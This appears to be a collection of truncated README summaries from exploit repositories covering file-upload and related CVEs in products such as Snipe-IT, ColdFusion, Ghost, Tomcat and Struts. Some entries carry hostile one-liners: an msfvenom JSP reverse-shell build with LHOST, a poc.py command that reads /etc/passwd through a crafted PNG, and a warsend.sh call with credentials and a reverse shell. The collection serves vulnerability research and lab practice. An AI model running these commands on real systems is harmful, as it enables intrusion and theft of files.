CVE-2022-32060

Snipe-IT 版本 v6.0.2 漏洞说明： Snipe-IT v6.0.2 的更新品牌设置组件中存在任意文件上传漏洞，攻击者可通过构造的文件执行任意代码。 攻击向量： 我们发现了一个文件上传漏洞，当在更新品牌设置页面上传恶意文件时触发。 Payload： https://github.com/bypazs/GrimTheRipper/blob/main/GrimTheRipperTeam.svg 测试环境： 1. Snipe-IT 版本 v6.0.2 2. Google Chrome 版本 102.0.5005.61 官方构建 64位 受影响组件：...

CVE-2024-10793

CVE-2024-10793 PoC Añade estas líneas a tu archivo hosts: 127.0.0.1 goodcms.lab 127.0.0.1 attacker.com Lanza WordPress usando docker: $ sudo systemctl start docker $ sudo docker-compose up -d Abre http://goodcms.lab:2121 y sigue los pasos de instalación de WordPress. Instala...

CVE-2009-2265

Versión: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Ejemplo :...

CVE-2022-30887

CVE-2022-30887 Pharmacy Management System 1.0 Subida de Shell Esta aplicación fue creada por Mayurik El proyecto del sistema de gestión de farmacia en PHP ha sido desarrollado para mejorar la precisión y eficiencia de las tiendas farmacéuticas a través de la seguridad y la gestión. En resumen, es...

CVE-2024-34452

CVE-2024-34452 - Vulnerabilidad de Cross-Site Scripting XSS en CMSimpleXH Resumen Se ha identificado una vulnerabilidad de cross-site scripting XSS en CMSimpleXH versión 1.7.6. Esta vulnerabilidad permite a usuarios autorizados subir archivos SVG que contienen código JavaScript malicioso. El...

Upload_Bypass

UploadBypass v3 Acerca de Upload Bypass es una herramienta simple diseñada para ayudar a los probadores de penetración y cazadores de bugs en la prueba de mecanismos de carga de archivos. Aprovecha diversas técnicas de bug bounty para simplificar el proceso de identificación y explotación de...

CVE-2023-40028

Exploit PoC CVE-2023-40028 Vulnerabilidad de Carga de Enlace Simbólico en Ghost CMS que lleva a Lectura Arbitraria de Archivos Imagen del PoC Detalles de la Vulnerabilidad CVE-2023-40028 es una vulnerabilidad en Ghost CMS versiones anteriores a 5.59.1 , donde usuarios autenticados pueden cargar...

VulnLab

VulnLab 由 Yavuzlar 开发的一个 Web 漏洞实验项目。 Logo 漏洞列表 SQL 注入 跨站脚本攻击 XSS 命令注入 不安全的直接对象引用 IDOR 跨站请求伪造 CSRF XML 外部实体注入 XXE 不安全反序列化 文件上传 文件包含 认证失效 竞态条件 服务端模板注入 SSTI API 攻击 验证码绕过 路径遍历 安装 使用 DockerHub 安装 1. 如果你想在 DockerHub 上安装，只需输入以下命令。 docker run --name vulnlab -d -p 1337:80 yavuzlar/vulnlab:latest 2. 访问...

CVE-2022-44268-

CVE-2022-44268- Para práctica de HTB Cómo usar esto python3 poc.py generate -o test.png -r /etc/passwd Sube ese archivo test.png y descárgalo python3 poc.py parse -i out.png...

CVE-2025-63830

📂 CKFinder 1.4.3 – Cross-Site Scripting XSS Almacenado mediante Carga de SVG Malicioso CVE ID: CVE-2025-63830 🧭 Resumen Se identificó una vulnerabilidad de Cross-Site Scripting XSS almacenado en CKFinder v1.4.3. El problema reside en la funcionalidad de carga de archivos , que no sanitiza...

dp_crypto

dpcrypto Exploit de oráculo de cifrado basado en Base64 para CVE-2017-9248 Manejador de diálogo de Telerik UI for ASP.NET AJAX Publicado en exploit-db Actualización 2020 - Tenga en cuenta que la versión en exploit-db ahora está muy desactualizada en comparación con la última versión aquí en GitHu...

CVE-2022-0316_wordpress_multiple_themes_exploit

Wordpress Múltiples temas - Carga arbitraria de archivos no autenticada CVE-2022-0316 Carga arbitraria de archivos no autenticada en múltiples temas de ChimpStudio y PixFill. Para más exploits y exclusivos contáctame en Telegram @KtN1990. Temas Afectados westand footysquare aidreform statfort...

fortilogger_arbitrary_fileupload

CVE-2021-3378 | FortiLogger - 未认证任意文件上传（Metasploit） 日期: 30-01-2021 漏洞作者: Berkan Er [email protected] 厂商主页: https://www.fortilogger.com/ 软件链接: https://www.fortilogger.com/download 版本: 4.4.2.2 测试环境: Windows 10 Enterprise x64 CVE: 2021-3378 披露日期: 26-02-2021 该模块利用不安全的POST请求实现未认证的任意文件上传。已在Windows...

CVE-2024-53345

CVE-2024-53345 Día Cero Crítico en Sistema de Gestión de Alquiler de Coches Versiones 1.0 - 1.3 Descripción: Existe una vulnerabilidad crítica en la funcionalidad de carga de archivos del módulo de Configuración del Sistema dentro del Sistema de Gestión de Alquiler de Coches versiones 1.0 a 1.3,...

warsend

WARSend Subida de WAR Shell en la API de Apache Tomcat Manager Requisitos previos Credenciales Acceso a la API de texto de Tomcat Manager $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / /...

RCE-Simplephpblog-biggiedroid

CVE-2025-15495 - 任意文件上传导致远程代码执行RCE 产品 BiggiDroid – 简单PHP博客CMS 产品页面：https://biggidroid.com/product/simple-php-blog/ 漏洞类型 任意文件上传 无限制文件上传 远程代码执行RCE 严重性 严重 CVSS（估算）： 9.8 AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:H 摘要 简单PHP博客CMS 在管理面板的站点Logo上传功能 中存在无限制文件上传漏洞 。 经过身份验证的攻击者可以上传一个伪装成图片的恶意PHP文件...

CVE-2023-50164-Apache-Struts-RCE

包含易受攻击的WAR文件和Docker文件，可用于测试CVE-2023-50164-Apache-Struts-RCE。 此Dockerfile和易受攻击的应用程序是根据 https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE 中的资源和代码编译和设计的。感谢他提供了如此详细的资源和漏洞利用程序。 请务必查看参考部分提到的仓库和博客，以获取深入分析和漏洞利用脚本。 易受攻击的文件上传操作可通过 http://ip-address:port/upload-1.0.0/upload.action 访问。 构建： 运行： 参考...

CVE-2018-2380

CVE-2018-2380 Puntuación base CVSS v3: 6.6/10 PoC de ejecución remota de comandos mediante inyección de logs en SAP NetWeaver AS JAVA CRM Ejemplo de uso del script python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true Dónde...

CVE-2025-53770-Scanner

Escáner CVE-2025-53770 por DanSec Una herramienta de reconocimiento simple y eficaz para identificar una posible exposición a la crítica vulnerabilidad de SharePoint CVE-2025-53770. !Warning Esta herramienta está destinada únicamente a fines de prueba autorizados. El autor DanSec no asume ninguna...

ClearML-CVE-2024-24590

/ | | | / | | | \ / \ / | | | | | | \ / | | | | | | | | | | | | |/ / | '| |/| | | | /| | | | | | || | / | | | | | | | | | | | || | | |||,|| || ||| || / | - 2024-24590 x OxyDe PoC de Subida de Artefacto Pickle a ClearML Este proyecto demuestra cómo subir dinámicamente un artefacto pickle a...